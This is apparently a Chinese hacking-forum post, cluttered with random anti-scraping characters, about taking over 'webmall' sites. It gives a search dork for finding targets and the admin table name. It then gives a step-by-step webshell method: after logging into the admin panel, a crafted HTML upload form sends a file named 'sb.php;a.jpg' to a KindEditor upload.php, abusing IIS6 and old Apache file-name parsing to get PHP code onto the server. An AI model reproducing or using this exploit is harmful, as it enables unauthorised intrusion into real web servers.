关键字:inurl:webmall/detail.php?id
3 ]) q& v! e- n; D5 A/ A& B4 |. K; ^3 z+ \
数据表:pwn_base_admin
e+ f/ W" U2 B; c2 S4 ~) n 3 |# R, r5 k4 E; `. a& X
关于拿shell6 t$ P& F. ~: Y" ]0 w1 W/ S
+ ?6 }! V, g9 B+ k: z9 Z
首先登录后台admin.php
! Z: O$ _& b& R- s( v
. T S: C5 D1 {) b$ ]* M看了upload.php源码,分析了一个下午,然后大约是明白了虽然上传那里只允许上传gif,jpg,png,bmp四种文件,但是并没有对文件名做限制。5 F1 _7 v7 {: h7 N7 P3 e
换句话说,sb.php;a.jpg这样的文件也是允许的,只要服务器是IIS6就拿到webshel,低版本的apache可以试着重命名为sb.php.jpg
: @& u6 H& o5 i0 R8 e然后搞完了才发现,这里的比我的更精简,我那个蛋疼,膜拜下三石,然后就借用了,我的开始和他的一样是采取全部源码的,然后发现了更精简的6 N P5 I+ h3 X
<form name="uploadForm" method="post" enctype="multipart/form-data" action="http://xxx.com/kedit/upload_cgi/upload.php"> , U w+ z6 X& W: R7 h4 D
<input type="text" name="fileName" value="sb.php;a.jpg" /> , K1 m/ S; U0 M! b+ s: V# p% m
<input type="hidden" name="attachPath" value="news/pics/" /> 8 A4 q( J- F ]" c, s& Z
<input type="file" name="fileData" size="14" /></td> # E; j+ N. r' \% d0 i4 @
<input type="submit" name="button" value="确定" />
$ \( y, e0 m# G9 q! q</form># y- \' a5 [! j
, E7 z8 ^% |* Q, R* b# t- v
首先登录后台,然后把上面的文件保存为xx.html,修改action,然后再上传,如果为iis6就在上传了查看源码就好了。* L2 v/ X% m* L, |5 {
; W2 P* M" v- ?( z3 E% G
|